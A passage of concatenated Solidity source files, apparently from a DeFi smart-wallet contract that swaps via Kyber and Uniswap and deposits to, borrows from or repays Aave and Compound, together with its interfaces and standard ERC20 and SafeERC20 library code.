/// @param payAmount: amount that user wants to pay, if the dest amount (after swap) is higher,
/// the remain amount will be sent back to user's wallet
/// @param feeAndRateMode: in case of aave v2, user needs to specify the rateMode to repay
/// to prevent stack too deep, combine fee and rateMode into a single value
/// platformFee: feeAndRateMode % BPS, rateMode: feeAndRateMode / BPS
/// Other params are params for trade on Uni-clone
function swapUniswapAndRepay(
ISmartWalletLending.LendingPlatform platform,
IUniswapV2Router02 router,
uint256 srcAmount,
uint256 payAmount,
address[] calldata tradePath,
uint256 feeAndRateMode,
address payable platformWallet,
bool useGasToken
) external payable override nonReentrant returns (uint256 destAmount) {
uint256 numGasBurns;
{
// scope to prevent stack too deep
require(lendingImpl != ISmartWalletLending(0));
uint256 gasBefore = useGasToken ? gasleft() : 0;
IERC20Ext dest = IERC20Ext(tradePath[tradePath.length - 1]);
// use user debt value if debt is <= payAmount
// user can pay all debt by putting really high payAmount as param
payAmount = checkUserDebt(platform, address(dest), payAmount);
if (tradePath.length == 1) {
if (dest == ETH_TOKEN_ADDRESS) {
require(msg.value == srcAmount, "invalid msg value");
transferToken(payable(address(lendingImpl)), dest, srcAmount);
} else {
destAmount = srcAmount > payAmount ? payAmount : srcAmount;
dest.safeTransferFrom(msg.sender, address(lendingImpl), destAmount);
}
} else {
destAmount = swapUniswapInternal(
router,
srcAmount,
payAmount,
tradePath,
payable(address(lendingImpl)),
feeAndRateMode % BPS,
platformWallet,
false
);
}
lendingImpl.repayBorrowTo(
platform,
msg.sender,
dest,
destAmount,
payAmount,
feeAndRateMode / BPS
);
if (useGasToken) {
numGasBurns = burnGasTokensAfter(gasBefore);
}
}
emit UniswapTradeAndRepay(
msg.sender,
platform,
router,
tradePath,
srcAmount,
destAmount,
payAmount,
feeAndRateMode,
platformWallet,
useGasToken,
numGasBurns
);
}
function claimComp(
address[] calldata holders,
ICompErc20[] calldata cTokens,
bool borrowers,
bool suppliers,
bool useGasToken
) external override nonReentrant {
uint256 gasBefore = useGasToken ? gasleft() : 0;
lendingImpl.claimComp(holders, cTokens, borrowers, suppliers);
if (useGasToken) {
burnGasTokensAfter(gasBefore);
}
}
/// @dev get expected return and conversion rate if using Kyber
function getExpectedReturnKyber(
IERC20Ext src,
IERC20Ext dest,
uint256 srcAmount,
uint256 platformFee,
bytes calldata hint
) external view override returns (uint256 destAmount, uint256 expectedRate) {
try kyberProxy.getExpectedRateAfterFee(src, dest, srcAmount, platformFee, hint) returns (
uint256 rate
) {
expectedRate = rate;
} catch {
expectedRate = 0;
}
destAmount = calcDestAmount(src, dest, srcAmount, expectedRate);
}
/// @dev get expected return and conversion rate if using a Uniswap router
function getExpectedReturnUniswap(
IUniswapV2Router02 router,
uint256 srcAmount,
address[] calldata tradePath,
uint256 platformFee
) external view override returns (uint256 destAmount, uint256 expectedRate) {
if (platformFee >= BPS) return (0, 0); // platform fee is too high
if (!isRouterSupported[router]) return (0, 0); // router is not supported
uint256 srcAmountAfterFee = (srcAmount * (BPS - platformFee)) / BPS;
if (srcAmountAfterFee == 0) return (0, 0);
// in case pair is not supported
try router.getAmountsOut(srcAmountAfterFee, tradePath) returns (uint256[] memory amounts) {
destAmount = amounts[tradePath.length - 1];
} catch {
destAmount = 0;
}
expectedRate = calcRateFromQty(
srcAmountAfterFee,
destAmount,
getDecimals(IERC20Ext(tradePath[0])),
getDecimals(IERC20Ext(tradePath[tradePath.length - 1]))
);
}
function checkUserDebt(
ISmartWalletLending.LendingPlatform platform,
address token,
uint256 amount
) internal returns (uint256) {
uint256 debt = lendingImpl.storeAndRetrieveUserDebtCurrent(platform, token, msg.sender);
if (debt >= amount) {
return amount;
}
return debt;
}
function doKyberTrade(
IERC20Ext src,
IERC20Ext dest,
uint256 srcAmount,
uint256 minConversionRate,
address payable recipient,
uint256 platformFeeBps,
address payable platformWallet,
bytes memory hint
) internal virtual returns (uint256 destAmount) {
uint256 actualSrcAmount =
validateAndPrepareSourceAmount(address(kyberProxy), src, srcAmount, platformWallet);
uint256 callValue = src == ETH_TOKEN_ADDRESS ? actualSrcAmount : 0;
destAmount = kyberProxy.tradeWithHintAndFee{value: callValue}(
src,
actualSrcAmount,
dest,
recipient,
MAX_AMOUNT,
minConversionRate,
platformWallet,
platformFeeBps,
hint
);
}
function swapUniswapInternal(
IUniswapV2Router02 router,
uint256 srcAmount,
uint256 minDestAmount,
address[] memory tradePath,
address payable recipient,
uint256 platformFeeBps,
address payable platformWallet,
bool feeInSrc
) internal returns (uint256 destAmount) {
TradeInput memory input =
TradeInput({
srcAmount: srcAmount,
minData: minDestAmount,
recipient: recipient,
platformFeeBps: platformFeeBps,
platformWallet: platformWallet,
hint: ""
});
// extra validation when swapping on Uniswap
require(isRouterSupported[router], "unsupported router");
require(platformFeeBps < BPS, "high platform fee");
IERC20Ext src = IERC20Ext(tradePath[0]);
input.srcAmount = validateAndPrepareSourceAmount(
address(router),
src,
srcAmount,
platformWallet
);
destAmount = doUniswapTrade(router, src, tradePath, input, feeInSrc);
}
function doUniswapTrade(
IUniswapV2Router02 router,
IERC20Ext src,
address[] memory tradePath,
TradeInput memory input,
bool feeInSrc
) internal virtual returns (uint256 destAmount) {
uint256 tradeLen = tradePath.length;
IERC20Ext actualDest = IERC20Ext(tradePath[tradeLen - 1]);
{
// convert eth -> weth address to trade on Uniswap
if (tradePath[0] == address(ETH_TOKEN_ADDRESS)) {
tradePath[0] = router.WETH();
}
if (tradePath[tradeLen - 1] == address(ETH_TOKEN_ADDRESS)) {
tradePath[tradeLen - 1] = router.WETH();
}
}
uint256 srcAmountFee;
uint256 srcAmountAfterFee;
uint256 destBalanceBefore;
address recipient;
if (feeInSrc) {
srcAmountFee = input.srcAmount.mul(input.platformFeeBps).div(BPS);
srcAmountAfterFee = input.srcAmount.sub(srcAmountFee);
recipient = input.recipient;
} else {
srcAmountAfterFee = input.srcAmount;
destBalanceBefore = getBalance(actualDest, address(this));
recipient = address(this);
}
uint256[] memory amounts;
if (src == ETH_TOKEN_ADDRESS) {
// swap eth -> token
amounts = router.swapExactETHForTokens{value: srcAmountAfterFee}(
input.minData,
tradePath,
recipient,
MAX_AMOUNT
);
} else {
if (actualDest == ETH_TOKEN_ADDRESS) {
// swap token -> eth
amounts = router.swapExactTokensForETH(
srcAmountAfterFee,
input.minData,
tradePath,
recipient,
MAX_AMOUNT
);
} else {
// swap token -> token
amounts = router.swapExactTokensForTokens(
srcAmountAfterFee,
input.minData,
tradePath,
recipient,
MAX_AMOUNT
);
}
}
if (!feeInSrc) {
// fee in dest token, calculated received dest amount
uint256 destBalanceAfter = getBalance(actualDest, address(this));
destAmount = destBalanceAfter.sub(destBalanceBefore);
uint256 destAmountFee = destAmount.mul(input.platformFeeBps).div(BPS);
// charge fee in dest token
addFeeToPlatform(input.platformWallet, actualDest, destAmountFee);
// transfer back dest token to recipient
destAmount = destAmount.sub(destAmountFee);
transferToken(input.recipient, actualDest, destAmount);
} else {
// fee in src amount
destAmount = amounts[amounts.length - 1];
addFeeToPlatform(input.platformWallet, src, srcAmountFee);
}
}
function validateAndPrepareSourceAmount(
address protocol,
IERC20Ext src,
uint256 srcAmount,
address platformWallet
) internal virtual returns (uint256 actualSrcAmount) {
require(supportedPlatformWallets[platformWallet], "unsupported platform wallet");
if (src == ETH_TOKEN_ADDRESS) {
require(msg.value == srcAmount, "wrong msg value");
actualSrcAmount = srcAmount;
} else {
require(msg.value == 0, "bad msg value");
uint256 balanceBefore = src.balanceOf(address(this));
src.safeTransferFrom(msg.sender, address(this), srcAmount);
uint256 balanceAfter = src.balanceOf(address(this));
actualSrcAmount = balanceAfter.sub(balanceBefore);
require(actualSrcAmount > 0, "invalid src amount");
safeApproveAllowance(protocol, src);
}
}
function burnGasTokensAfter(uint256 gasBefore) internal virtual returns (uint256 numGasBurns) {
if (burnGasHelper == IBurnGasHelper(0)) return 0;
IGasToken gasToken;
uint256 gasAfter = gasleft();
try
burnGasHelper.getAmountGasTokensToBurn(gasBefore.sub(gasAfter).add(msg.data.length))
returns (uint256 _gasBurns, address _gasToken) {
numGasBurns = _gasBurns;
gasToken = IGasToken(_gasToken);
} catch {
numGasBurns = 0;
}
if (numGasBurns > 0 && gasToken != IGasToken(0)) {
numGasBurns = gasToken.freeFromUpTo(msg.sender, numGasBurns);
}
}
function safeForwardTokenAndCollectFee(
IERC20Ext token,
address from,
address payable to,
uint256 amount,
uint256 platformFeeBps,
address payable platformWallet
) internal returns (uint256 destAmount) {
require(platformFeeBps < BPS, "high platform fee");
require(supportedPlatformWallets[platformWallet], "unsupported platform wallet");
uint256 feeAmount = (amount * platformFeeBps) / BPS;
destAmount = amount - feeAmount;
if (token == ETH_TOKEN_ADDRESS) {
require(msg.value >= amount);
(bool success, ) = to.call{value: destAmount}("");
require(success, "transfer eth failed");
} else {
uint256 balanceBefore = token.balanceOf(to);
token.safeTransferFrom(from, to, amount);
uint256 balanceAfter = token.balanceOf(to);
destAmount = balanceAfter.sub(balanceBefore);
}
addFeeToPlatform(platformWallet, token, feeAmount);
}
function addFeeToPlatform(
address wallet,
IERC20Ext token,
uint256 amount
) internal {
if (amount > 0) {
platformWalletFees[wallet][token] = platformWalletFees[wallet][token].add(amount);
}
}
function transferToken(
address payable recipient,
IERC20Ext token,
uint256 amount
) internal {
if (amount == 0) return;
if (token == ETH_TOKEN_ADDRESS) {
(bool success, ) = recipient.call{value: amount}("");
require(success, "failed to transfer eth");
} else {
token.safeTransfer(recipient, amount);
}
}
function safeApproveAllowance(address spender, IERC20Ext token) internal {
if (token.allowance(address(this), spender) == 0) {
getSetDecimals(token);
token.safeApprove(spender, MAX_ALLOWANCE);
}
}
}
pragma solidity 0.6.6;
import "../lending/ISmartWalletLending.sol";
import "@kyber.network/utils-sc/contracts/IERC20Ext.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
interface ISmartWalletSwapImplementation {
event KyberTrade(
address indexed trader,
IERC20Ext indexed src,
IERC20Ext indexed dest,
uint256 srcAmount,
uint256 destAmount,
address recipient,
uint256 platformFeeBps,
address platformWallet,
bytes hint,
bool useGasToken,
uint numGasBurns
);
event UniswapTrade(
address indexed trader,
address indexed router,
address[] tradePath,
uint256 srcAmount,
uint256 destAmount,
address recipient,
uint256 platformFeeBps,
address platformWallet,
bool feeInSrc,
bool useGasToken,
uint256 numGasBurns
);
event KyberTradeAndDeposit(
address indexed trader,
ISmartWalletLending.LendingPlatform indexed platform,
IERC20Ext src,
IERC20Ext indexed dest,
uint256 srcAmount,
uint256 destAmount,
uint256 platformFeeBps,
address platformWallet,
bytes hint,
bool useGasToken,
uint numGasBurns
);
event UniswapTradeAndDeposit(
address indexed trader,
ISmartWalletLending.LendingPlatform indexed platform,
IUniswapV2Router02 indexed router,
address[] tradePath,
uint256 srcAmount,
uint256 destAmount,
uint256 platformFeeBps,
address platformWallet,
bool useGasToken,
uint256 numGasBurns
);
event BorrowFromLending(
ISmartWalletLending.LendingPlatform indexed platform,
IERC20Ext token,
uint256 amountBorrowed,
uint256 interestRateMode,
bool useGasToken,
uint256 numGasBurns
);
event WithdrawFromLending(
ISmartWalletLending.LendingPlatform indexed platform,
IERC20Ext token,
uint256 amount,
uint256 minReturn,
uint256 actualReturnAmount,
bool useGasToken,
uint256 numGasBurns
);
event KyberTradeAndRepay(
address indexed trader,
ISmartWalletLending.LendingPlatform indexed platform,
IERC20Ext src,
IERC20Ext indexed dest,
uint256 srcAmount,
uint256 destAmount,
uint256 payAmount,
uint256 feeAndRateMode,
address platformWallet,
bytes hint,
bool useGasToken,
uint numGasBurns
);
event UniswapTradeAndRepay(
address indexed trader,
ISmartWalletLending.LendingPlatform indexed platform,
IUniswapV2Router02 indexed router,
address[] tradePath,
uint256 srcAmount,
uint256 destAmount,
uint256 payAmount,
uint256 feeAndRateMode,
address platformWallet,
bool useGasToken,
uint256 numGasBurns
);
function getExpectedReturnKyber(
IERC20Ext src,
IERC20Ext dest,
uint256 srcAmount,
uint256 platformFeeBps,
bytes calldata hint
) external view returns (
uint256 destAmount,
uint256 expectedRate
);
function getExpectedReturnUniswap(
IUniswapV2Router02 router,
uint256 srcAmount,
address[] calldata tradePath,
uint256 platformFeeBps
) external view returns (
uint256 destAmount,
uint256 expectedRate
);
function swapKyber(
IERC20Ext src,
IERC20Ext dest,
uint256 srcAmount,
uint256 minConversionRate,
address payable recipient,
uint256 platformFeeBps,
address payable platformWallet,
bytes calldata hint,
bool useGasToken
) external payable returns (uint256 destAmount);
function swapUniswap(
IUniswapV2Router02 router,
uint256 srcAmount,
uint256 minDestAmount,
address[] calldata tradePath,
address payable recipient,
uint256 platformFeeBps,
address payable platformWallet,
bool feeInSrc,
bool useGasToken
) external payable returns (uint256 destAmount);
function swapKyberAndDeposit(
ISmartWalletLending.LendingPlatform platform,
IERC20Ext src,
IERC20Ext dest,
uint256 srcAmount,
uint256 minConversionRate,
uint256 platformFeeBps,
address payable platformWallet,
bytes calldata hint,
bool useGasToken
) external payable returns (uint256 destAmount);
function swapUniswapAndDeposit(
ISmartWalletLending.LendingPlatform platform,
IUniswapV2Router02 router,
uint256 srcAmount,
uint256 minDestAmount,
address[] calldata tradePath,
uint256 platformFeeBps,
address payable platformWallet,
bool useGasToken
) external payable returns (uint256 destAmount);
function withdrawFromLendingPlatform(
ISmartWalletLending.LendingPlatform platform,
IERC20Ext token,
uint256 amount,
uint256 minReturn,
bool useGasToken
) external returns (uint256 returnedAmount);
function swapKyberAndRepay(
ISmartWalletLending.LendingPlatform platform,
IERC20Ext src,
IERC20Ext dest,
uint256 srcAmount,
uint256 payAmount,
uint256 feeAndRateMode, // in case aave v2, fee: feeAndRateMode % BPS, rateMode: feeAndRateMode / BPS
address payable platformWallet,
bytes calldata hint,
bool useGasToken
) external payable returns (uint256 destAmount);
function swapUniswapAndRepay(
ISmartWalletLending.LendingPlatform platform,
IUniswapV2Router02 router,
uint256 srcAmount,
uint256 payAmount,
address[] calldata tradePath,
uint256 feeAndRateMode, // in case aave v2, fee: feeAndRateMode % BPS, rateMode: feeAndRateMode / BPS
address payable platformWallet,
bool useGasToken
) external payable returns (uint256 destAmount);
function claimComp(
address[] calldata holders,
ICompErc20[] calldata cTokens,
bool borrowers,
bool suppliers,
bool useGasToken
) external;
function claimPlatformFees(
address[] calldata platformWallets,
IERC20Ext[] calldata tokens
) external;
}
pragma solidity 0.6.6;
import "../burnHelper/IBurnGasHelper.sol";
import "../interfaces/IKyberProxy.sol";
import "../interfaces/IGasToken.sol";
import "../lending/ISmartWalletLending.sol";
import "@kyber.network/utils-sc/contracts/IERC20Ext.sol";
import "@kyber.network/utils-sc/contracts/Utils.sol";
import "@kyber.network/utils-sc/contracts/Withdrawable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract SmartWalletSwapStorage is Utils, Withdrawable, ReentrancyGuard {
uint256 constant internal MAX_AMOUNT = uint256(-1);
mapping (address => mapping(IERC20Ext => uint256)) public platformWalletFees;
// Proxy and routers will be set only once in constructor
IKyberProxy public kyberProxy;
// check if a router (Uniswap or its clones) is supported
mapping(IUniswapV2Router02 => bool) public isRouterSupported;
IBurnGasHelper public burnGasHelper;
mapping (address => bool) public supportedPlatformWallets;
struct TradeInput {
uint256 srcAmount;
uint256 minData; // min rate if Kyber, min return if Uni-pools
address payable recipient;
uint256 platformFeeBps;
address payable platformWallet;
bytes hint;
}
ISmartWalletLending public lendingImpl;
// bytes32(uint256(keccak256("SmartWalletSwapImplementation")) - 1)
bytes32 internal constant IMPLEMENTATION = 0x6a7efb0627ddb0e69b773958c7c9c3c9c3dc049819cdf56a8ee84c3074b2a5d7;
constructor(address _admin) public Withdrawable(_admin) {}
}
pragma solidity 0.6.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @dev Interface extending ERC20 standard to include decimals() as
* it is optional in the OpenZeppelin IERC20 interface.
*/
interface IERC20Ext is IERC20 {
/**
* @dev This function is required as Kyber requires to interact
* with token.decimals() with many of its operations.
*/
function decimals() external view returns (uint8 digits);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;
import "@kyber.network/utils-sc/contracts/IERC20Ext.sol";
import "../interfaces/IAaveLendingPoolV2.sol";
import "../interfaces/IAaveLendingPoolV1.sol";
import "../interfaces/IWeth.sol";
import "../interfaces/ICompErc20.sol";
interface ISmartWalletLending {
event ClaimedComp(
address[] holders,
ICompErc20[] cTokens,
bool borrowers,
bool suppliers
);
enum LendingPlatform { AAVE_V1, AAVE_V2, COMPOUND }
struct UserReserveData {
uint256 currentATokenBalance;
uint256 liquidityRate;
uint256 poolShareInPrecision;
bool usageAsCollateralEnabled;
// Aave v1 data
uint256 currentBorrowBalance;
uint256 principalBorrowBalance;
uint256 borrowRateMode;
uint256 borrowRate;
uint256 originationFee;
// Aave v2 data
uint256 currentStableDebt;
uint256 currentVariableDebt;
uint256 principalStableDebt;
uint256 scaledVariableDebt;
uint256 stableBorrowRate;
}
function updateAaveLendingPoolData(
IAaveLendingPoolV2 poolV2,
IProtocolDataProvider provider,
IAaveLendingPoolV1 poolV1,
address lendingPoolCoreV1,
uint16 referalCode,
IWeth weth,
IERC20Ext[] calldata tokens
) external;
function updateCompoundData(
address _comptroller,
address _cEth,
address[] calldata _cTokens
) external;
function depositTo(
LendingPlatform platform,
address payable onBehalfOf,
IERC20Ext token,
uint256 amount
) external;
function borrowFrom(
LendingPlatform platform,
address payable onBehalfOf,
IERC20Ext token,
uint256 borrowAmount,
uint256 interestRateMode
) external;
function withdrawFrom(
LendingPlatform platform,
address payable onBehalfOf,
IERC20Ext token,
uint256 amount,
uint256 minReturn
) external returns (uint256 returnedAmount);
function repayBorrowTo(
LendingPlatform platform,
address payable onBehalfOf,
IERC20Ext token,
uint256 amount,
uint256 payAmount,
uint256 rateMode // only for aave v2
) external;
function claimComp(
address[] calldata holders,
ICompErc20[] calldata cTokens,
bool borrowers,
bool suppliers
) external;
function storeAndRetrieveUserDebtCurrent(
LendingPlatform platform,
address _reserve,
address _user
) external returns (uint256 debt);
function getLendingToken(LendingPlatform platform, IERC20Ext token) external view returns(address);
function getUserDebtStored(LendingPlatform platform, address reserve, address user)
external
view
returns (uint256 debt);
}
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;
import "../wrappers/AAVE/DataTypes.sol";
import "../wrappers/AAVE/IProtocolDataProvider.sol";
interface IAaveLendingPoolV2 {
/**
* @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens.
* - E.g. User deposits 100 USDC and gets in return 100 aUSDC
* @param asset The address of the underlying asset to deposit
* @param amount The amount to be deposited
* @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
* wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
* is a different wallet
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
**/
function deposit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
) external;
/**
* @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned
* E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC
* @param asset The address of the underlying asset to withdraw
* @param amount The underlying amount to be withdrawn
* - Send the value type(uint256).max in order to withdraw the whole aToken balance
* @param to Address that will receive the underlying, same as msg.sender if the user
* wants to receive it on his own wallet, or a different address if the beneficiary is a
* different wallet
* @return The final amount withdrawn
**/
function withdraw(
address asset,
uint256 amount,
address to
) external returns (uint256);
/**
* @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower
* already deposited enough collateral, or he was given enough allowance by a credit delegator on the
* corresponding debt token (StableDebtToken or VariableDebtToken)
* - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet
* and 100 stable/variable debt tokens, depending on the `interestRateMode`
* @param asset The address of the underlying asset to borrow
* @param amount The amount to be borrowed
* @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
* @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself
* calling the function if he wants to borrow against his own collateral, or the address of the credit delegator
* if he has been given credit delegation allowance
**/
function borrow(
address asset,
uint256 amount,
uint256 interestRateMode,
uint16 referralCode,
address onBehalfOf
) external;
/**
* @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned
* - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address
* @param asset The address of the borrowed underlying asset previously borrowed
* @param amount The amount to repay
* - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode`
* @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable
* @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the
* user calling the function if he wants to reduce/remove his own debt, or the address of any other
* other borrower whose debt should be removed
* @return The final amount repaid
**/
function repay(
address asset,
uint256 amount,
uint256 rateMode,
address onBehalfOf
) external returns (uint256);
/**
* @dev Allows depositors to enable/disable a specific deposited asset as collateral
* @param asset The address of the underlying asset deposited
* @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise
**/
function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;
/**
* @dev Returns the state and configuration of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The state of the reserve
**/
function getReserveData(address asset) external view returns (DataTypes.ReserveData memory);
}
pragma solidity 0.6.6;
interface IAaveLendingPoolV1 {
function deposit(
address _reserve,
uint256 _amount,
uint16 _referralCode
) external payable;
function borrow(
address _reserve,
uint256 _amount,
uint256 _interestRateMode,
uint16 _referralCode
) external;
function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external;
function repay(
address _reserve,
uint256 _amount,
address payable _onBehalfOf
) external payable;
function core() external view returns (address);
function getUserReserveData(address _reserve, address _user)
external
view
returns (
uint256 currentATokenBalance,
uint256 currentBorrowBalance,
uint256 principalBorrowBalance,
uint256 borrowRateMode,
uint256 borrowRate,
uint256 liquidityRate,
uint256 originationFee,
uint256 variableBorrowIndex,
uint256 lastUpdateTimestamp,
bool usageAsCollateralEnabled
);
}
interface IAToken {
function redeem(uint256 _amount) external;
}
pragma solidity 0.6.6;
import "@kyber.network/utils-sc/contracts/IERC20Ext.sol";
interface IWeth is IERC20Ext {
function deposit() external payable;
function withdraw(uint256 wad) external;
}
pragma solidity 0.6.6;
interface ICompErc20 {
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint);
function transfer(address dst, uint amount) external returns (bool);
function transferFrom(address src, address dst, uint amount) external returns (bool);
function approve(address spender, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function balanceOfUnderlying(address owner) external returns (uint);
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint);
function totalBorrowsCurrent() external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function borrowBalanceStored(address account) external view returns (uint);
function exchangeRateCurrent() external returns (uint);
function exchangeRateStored() external view returns (uint);
function underlying() external view returns (address);
}
interface ICompEth {
function mint() external payable;
function repayBorrowBehalf(address borrower) external payable;
function repayBorrow() external payable;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity 0.6.6;
library DataTypes {
struct ReserveData {
//stores the reserve configuration
ReserveConfigurationMap configuration;
//the liquidity index. Expressed in ray
uint128 liquidityIndex;
//variable borrow index. Expressed in ray
uint128 variableBorrowIndex;
//the current supply rate. Expressed in ray
uint128 currentLiquidityRate;
//the current variable borrow rate. Expressed in ray
uint128 currentVariableBorrowRate;
//the current stable borrow rate. Expressed in ray
uint128 currentStableBorrowRate;
uint40 lastUpdateTimestamp;
//tokens addresses
address aTokenAddress;
address stableDebtTokenAddress;
address variableDebtTokenAddress;
//address of the interest rate strategy
address interestRateStrategyAddress;
//the id of the reserve. Represents the position in the list of the active reserves
uint8 id;
}
struct ReserveConfigurationMap {
//bit 0-15: LTV
//bit 16-31: Liq. threshold
//bit 32-47: Liq. bonus
//bit 48-55: Decimals
//bit 56: Reserve is active
//bit 57: reserve is frozen
